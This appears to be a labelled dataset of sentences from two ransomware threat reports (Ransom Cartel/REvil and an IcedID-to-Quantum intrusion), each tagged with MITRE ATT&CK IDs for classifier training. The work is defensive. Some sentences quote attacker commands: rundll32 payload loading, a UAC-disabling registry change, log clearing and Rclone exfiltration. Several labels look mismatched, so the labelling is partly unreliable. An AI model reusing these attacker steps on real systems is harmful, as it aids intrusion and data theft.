{"sentence": "These values indicate additional functionality within the REvil sample, which could mean that either the Ransom Cartel developers removed certain functionality or they are building off of a much earlier version of REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Decrypted REvil configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "As discussed previously, another major overlap is the code reuse across the two samples of Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Both use an identical encryption scheme, generating multiple public/private key pairs, and creating session secrets using the same procedure found within REvil samples. Figure 13.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil session secret generation function.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Both use Salsa20 and Curve25519 for file encryption, and there are very few differences in the layout of the encryption routine besides the structure of the internal type structs.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil file encryption setup function.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "A particularly interesting difference between the two malware families is that REvil opts to obfuscate their ransomware much more heavily than the Ransom Cartel group, utilizing string encryption, API hashing and more, while Ransom Cartel has almost no obfuscation outside of the configuration, hinting that the group may not possess the obfuscation engine used by REvil.", "labels": ["T1027"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "It is possible that the Ransom Cartel group is an offshoot of the original REvil threat actor group, where the individuals only possess the original source code of the REvil ransomware encryptor/decryptor, but do not have access to the obfuscation engine.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel Tactics, Techniques and Procedures Below is a list of TTPs observed being used by Ransom Cartel affiliates: TTPs Notes TA0001", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Initial Access T1078.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Valid Accounts Uses legitimate VPN, RDP, Citrix or VNC credentials to maintain access to an environment. T1133.", "labels": ["T1078"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "External Remote Services Uses legitimate VPN or Citrix credentials to maintain access to an environment.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0002 Execution T1072.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Software Deployment Tools Deploys PDQ Inventory Scanner tool. T1059.001.", "labels": ["T1072"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "PowerShell Uses PowerShell to retrieve the malicious payload and download additional resources such as Mimikatz and Rclone. T1059.003 Command and Scripting Interpreter:", "labels": ["T1003.001", "T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Windows Command Shell Uses cmd.exe to execute commands.", "labels": ["T1059.003"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0003 Persistence T1003.008.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "OS Credential Dumping: /etc/passwd and /etc/shadow Attempts to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. T1136.001.", "labels": ["T1110"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Create Account: Local Account Creates new users’ accounts.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Account Manipulation Adds newly created accounts to the administrators group to maintain elevated access. T1547.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder Adds registry run keys to achieve persistence.", "labels": ["T1547.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In some cases, we observed using the following command: start cmd.exe /k runonce.exe /AlternateShellStartup T1197.", "labels": ["T1059.003"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "BITS Jobs Uses BITSAdmin to download and install payloads.", "labels": ["T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0004 Privilege Escalation T1068.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Exploitation for Privilege Escalation Exploits Print Nightmare vulnerability.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0005 Defense Evasion T1222.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File and Directory Permissions Modification:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Linux and Mac File and Directory Permissions Modification Uses the chmod +x command to grant executable permissions to the ransomware. T1112.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Modify Registry Modifies the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1. T1070.001 Indicator Removal on Host: Clear Windows Event Logs Uses wevtutil to clear the Windows event logs.", "labels": ["T1112", "T1562.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1218.011.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "System Binary Proxy Execution: Rundll32 Uses Rundll32 to load and execute malicious DLL. T1562.004.", "labels": ["T1218.011"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Impair Defenses: Disable or Modify System Firewall Deletes rules in the Windows Defender Firewall exception list related to AnyDesk T1070.004.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Indicator Removal on Host: File Deletion Deletes some of its files used during operations as part of cleanup, including removing applications such as 7z.exe, tor.exe, ssh.exe T1070.003.", "labels": ["T1070.004"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Indicator Removal on Host: Clear Command History Clears Windows PowerShell and WitnessClientAdmin log file.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1027.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Obfuscated Files or Information Uses encoded PowerShell commands.", "labels": ["T1027"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0006 Credential Access T1003.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "OS Credential Dumping: LSASS Memory Uses Mimikatz to harvest credentials.", "labels": ["T1003.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1555.003.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Credentials from Password Stores: Credentials from Web Browsers Compromises users’ saved passwords from browsers.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Network Service Discovery Uses tools such as PDQ Inventory scanner, Advanced Port Scanner and netscan (which also scanned for the ProxyShell vulnerability).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1083.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File and Directory Discovery Searches for specific files prior to encryption.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "T1135.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Network Share Discovery Enumerates remote open SMB network shares T1087.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Account Discovery: Local Account Accesses ntuser.dat and /etc/passwd to enumerate all accounts.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0008 Lateral Movement T1021.004.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Remote Services: SSH Uses Putty for remote access. T1550.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Pass the Hash Dumps password hashes for use in pass the hash authentication attacks. T1021.001.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Remote Desktop Protocol Uses RDP for lateral movement.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Archive Collected Data: Archive via Utility Uses 7-Zip to compress stolen data for exfiltration.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "TA0010 Exfiltration T1567.002.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Exfiltration Over Web Service: Exfiltration to Cloud Storage Uses Rclone to exfiltrate data to cloud sharing websites (such as PCloud and MegaSync).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Remote Access Software Uses AnyDesk to remotely connect and transfer files. T1090.003.", "labels": ["T1219"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Proxy: Multi-hop", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Proxy Routes traffic over TOR and VPN servers to obfuscate their activities.", "labels": ["T1090"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ingress Tool Transfer Downloads and uploads files to and from the victim’s machine.", "labels": ["T1105"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Data Encrypted for Impact Encrypts system data and adds the random extension to encrypted files.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The following extensions have been observed (.zmi5z, .nwixz, .ext, .zje2m, .5vm8t, .m4tzt).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table 9.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Tactics, techniques and procedures for Ransom Cartel activity.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Malware, Tools and Exploits Used Execution Credential Access Discovery Privilege Escalation Lateral Movement Command and Control Exfiltration PowerShell Windows command shell MimikatzLaZagneDonPAPI PDQ Inventory scannerAdvanced Port Scannernetscan.exe Print Nightmare Putty AnyDeskCobalt Strike Rclone Table 10.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Malware, tools and exploits used.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Conclusion Ransom Cartel is one of many ransomware families that surfaced during 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "While Ransom Cartel uses double extortion and some of the same TTPs we often observe during ransomware attacks, this type of ransomware uses less common tools – DonPAPI for example – that we haven’t observed in any other ransomware attacks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Based on the fact that the Ransom Cartel operators clearly have access to the original REvil ransomware source code, yet likely do not possess the obfuscation engine used to encrypt strings and hide API calls, we speculate that the operators of Ransom Cartel had a relationship with the REvil group at one point, before starting their own operation.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Due to the high-profile nature of some organizations targeted by Ransom Cartel and steady stream of Ransom Cartel cases identified by Unit 42, the operator and/or affiliates behind the ransomware likely will continue to attack and extort organizations.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Palo Alto Networks customers receive help with detection and prevention of Ransom Cartel ransomware in the following ways: WildFire:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Cortex XDR: Identifies indicators associated with Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Anti-Ransomware Module to detect Ransom Cartel encryption behaviors on Windows.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Local Analysis detection for Ransom Cartel binaries on Windows.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "DNS Signatures detect the known command and control domains, which are also categorized as malware in Advanced URL Filtering.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If you think you may have been compromised or have an urgent matter, you can get in touch with the Unit 42 Incident Response team or call: North America Toll-Free: 866.486.4842 (866.4.UNIT42) EMEA: +31.20.299.3130 APAC:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Indicators of Compromise Ransom Cartel Samples 9935DA29F3E4E503E4A4712379CCD9963A730CCC304C2FEC31E8276DB35E82E8BF93B029CCA0DE4B6F32E98AEEBD8FD690964816978A0EB13A085A80D4B6BF4E55e4d509de5b0f1ea888ff87eb0d190c328a559d7cc5653c46947e57c0f01ec52411a74b343bbe51b2243985d5edaaabe2ba70e0c923305353037d1f442a91f5 Network-based IoCs 185.239.222[.]240 TOR Exit Node108.62.103[.]193 TOR Exit Node185.129.62[.]62 TOR Exit Node185.143.223[.]13 Bulletproof hosting server185.253.163[.]23 PIA VPN exit node Indicators of compromise and Ransom Cartel-associated TTPs can be found in the Ransom Cartel ATOM.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Updated Oct. 15, 2002, at 11:15 a.m.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "PT.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Malicious ISO File Leads to Domain Wide Ransomware -", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The DFIR Report url: https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/ IcedID continues to deliver malspam emails to facilitate a compromise.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This case covers the activity from a campaign in late September of 2022.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Post exploitation activities detail some familiar and some new techniques and tooling, which led to domain wide ransomware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This case shares similarities of the IcedID campaign detailed by Malware-Traffic-Analysis.net, where the ADGet.exe application was referenced.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This intrusion began by the execution of IcedID malware contained within an ISO image.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO file was delivered to the victim as part of a malspam campaign.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Delivering payloads using an ISO image is a common technique observed in several prior cases.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This technique has grown in use as threat actors look to evade Mark-of-the-Web controls.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO image delivered a hidden directory containing a IcedID payload and a batch file.", "labels": ["T1059.003", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After being successfully mounted, the end user only sees a malicious LNK file named documents inside the virtual hard drive.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Clicking on the LNK file executes the batch file, which copies the IcedID payload to the user’s AppData\\Local\\Temp folder and loads it using rundll32.", "labels": ["T1059.003", "T1204.002", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A scheduled task was created at that time to maintain persistence on this host as well.", "labels": ["T1053.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Upon the execution of the IcedID payload, discovery commands using Windows utilities such as net, nltest, and ipconfig were executed to discover domain trusts, domain admins, workstation configuration, etc.", "labels": ["T1016"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around 16 hours after the initial execution, the first Cobalt Strike beacon DLL rapuab1.dll was executed from the IcedID malware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This led to another round of discovery using net followed by AdFind.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor installed Atera and Splashtop remote access software via an MSI file named hp.msi.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After that, the threat actors tried a GetSystem privilege escalation technique, which was blocked by antivirus.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor then proceeded to exploit CVE-2020-1472, aka ZeroLogon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was followed by a batch script used to perform DNS lookups on hosts across the environment.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After this, the threat actors began their first lateral movement to a server in the environment by copying their Cobalt Strike DLL over to the host and executing it via a remote service.", "labels": ["T1210", "T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They then repeated the install of the remote access software package.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some two hours later, a Cobalt Strike beacon named Nigu.exe was executed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "With this beacon, the threat actors succeeded in elevating to SYSTEM on the beachhead host and proceeded to dump LSASS memory.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Another round of activity took place using system tools, batch files, and Adget.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Several more beacons were also loaded on the host using DLLs and PowerShell.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "At this point, the threat actors had the clear text credentials for one of the domain administrator accounts and began moving lateral to other systems.", "labels": ["T1078"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They issued remote commands using WMIC to conduct discovery, as well as distribute and execute Cobalt Strike beacons.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These actions, however, failed to get a beacon to launch on the domain controller being targeted.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After an hour or so of failures, the threat actors proceeded to RDP to the domain controller.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once there, they then loaded textbin[.]net, a pastebin style site, to download Cobalt Strike PowerShell code to the host in a file named pon.txt. Trying to execute this locally failed as well, and the threat actor moved on to downloading a variety of beacon executables (e.g. lsass.exe, lsasss.exe, etc.).", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These beacons, however, continued to crash and fail to run.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around an hour after starting the RDP session, the threat actors executed a PowerShell command to disable Windows Defender Antivirus on the host and reviewed Group Policy Objects for the domain.", "labels": ["T1021.001", "T1484.001", "T1562.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The Cobalt Strike beacons then began to execute successfully on the domain controller.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Now, with Cobalt Strike beacons on the domain controller, the threat actors continued with discovery actions using Invoke-ShareFinder and other PowerShell and system utilities.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A few hours later, the threat actors installed the RSAT tools onto the beachhead host.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "However, they appear to have been unfamiliar with the tools and called up the help menu before using Get-ADComputer to collect the details on hosts in the environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Back on the domain controller, ProcDump was used to dump LSASS memory.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The PowerShell command Get-EventLog was then used to collect logon events on all domain administrators in the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors went quiet for around seven hours.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "When they returned, several more Cobalt Strike beacons were launched and several different Mimikatz implementations were executed on the domain controller, including a Mimikatz executable and a PowerShell implementation.", "labels": ["T1003.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For the next several hours, repeats of previous discovery actions and additional beacons executed using remote WMIC commands, were observed.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During this time, Windows event logs point to the threat actors completing DCSync activities on one of the domain controllers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A new batch file, localdisk.bat, was also executed using remote WMI commands, to collect disk data on hosts around the environment.", "labels": ["T1047", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These discovery actions were completed several times again in other various batch files.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "On the start of the fourth day, the threat actors continued to repeat their previous discovery and beacon spreading activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Near the end of the day, the threat actors moved to install AnyDesk on several servers including a backup management host, likely as a further means of persistence or later command and control.", "labels": ["T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Next, the threat actor executed PowerShell to pop up an alert message on several hosts, letting the user know that the machine was infected with Cobalt Strike.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After completing this activity, they used Rclone to exfiltrate copies of the backup files to the Mega.io cloud storage service.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors then staged a ransomware binary named locker_64.exe on the backup server but did not immediately execute it.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around two hours after dropping the file, it was executed using a command line argument, which included a list of hosts to target.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This appeared to fail.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors then proceeded to execute the payload manually in several ways, across various hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Finally, they connected to a domain controller and dropped three scripts; one to copy the ransomware executable to all hosts, one to reset every users password in the organization, and a final one to execute the staged ransomware payload using PsExec.", "labels": ["T1570"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once executed, the ransomware left the ransom note README_TO_DECRYPT.html, which informs the victim that Quantum ransomware is responsible for the intrusion.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The time to ransomware was just over 78 hours from the initial IcedID infection.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "All domain joined systems were encrypted with Quantum ransomware.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "More information on this service can be found here.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Our All Intel service includes long term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "If you are interested in hearing more about our services, or would like to talk about a free trial, please reach out to us using the Contact Us page.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "We look forward to hearing from you.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Analysts Analysis and reporting completed by @_pete_0 and @MetallicHack. MITRE ATT&CK", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This intrusion began by the execution of a malicious LNK embedded in an ISO file (masquerading as a folder).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The ISO file was delivered as a ZIP archive via a malicious spam mail campaign.", "labels": ["T1566.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Malicious ISO file First, the user clicked on the ISO file, which created a new virtual hard drive disk.", "labels": ["T1204.002"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Such activity can be tracked with Event 12 from Microsoft-Windows-VHDMP/Operational.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This ISO file contains a LNK named documents and a hidden directory named max containing a cobalt strike DLL beacon and a batch file.", "labels": ["T1059.003", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As we can see below using LECmd from Eric Zimmerman, the file documents.lnk points to max\\eyewear.bat. As a consequence, when the victim clicked on the LNK file, it triggered the execution of the batch file eyewear.bat The batch file eyewear.bat then executed two commands: It first moved a DLL file named eyewear.dat, initially located in a hidden folder named max, to the user’s AppData\\Local\\Temp\\ folder : C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003", "T1204.002", "T1564.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "D:\\max\\eyewear.bat ➝ xcopy /s /i", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/e /h", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "max\\easygoing.dat C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\*", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Then, DLL was executed using rundll32.exe : C:\\Windows\\system32\\cmd.exe /c", "labels": ["T1059.003", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "D:\\max\\eyewear.bat ➝ rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1 On the second day of the intrusion, the threat actors used the IcedID malware to drop a Cobalt Strike beacon and executed it using regsvr32.exe.", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After beginning to move laterally, the threat actors used many other execution techniques such as PowerShell and executables run from their interactive RDP session in addition to DLLs.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "A number of application crashes were observed across several compromised hosts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This activity was a result of the threat actors attempting to execute various dropped tools or beacons on the endpoint, triggering a Windows Error Reporting (WER) fault process.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Application crashes are recorded in the Windows Application event log under Event ID 1000 and 1001.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The NSA Cyber Windows Event Monitoring Guidance, has the following statement: Application crashes may warrant investigation to determine if the crash is malicious or benign.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
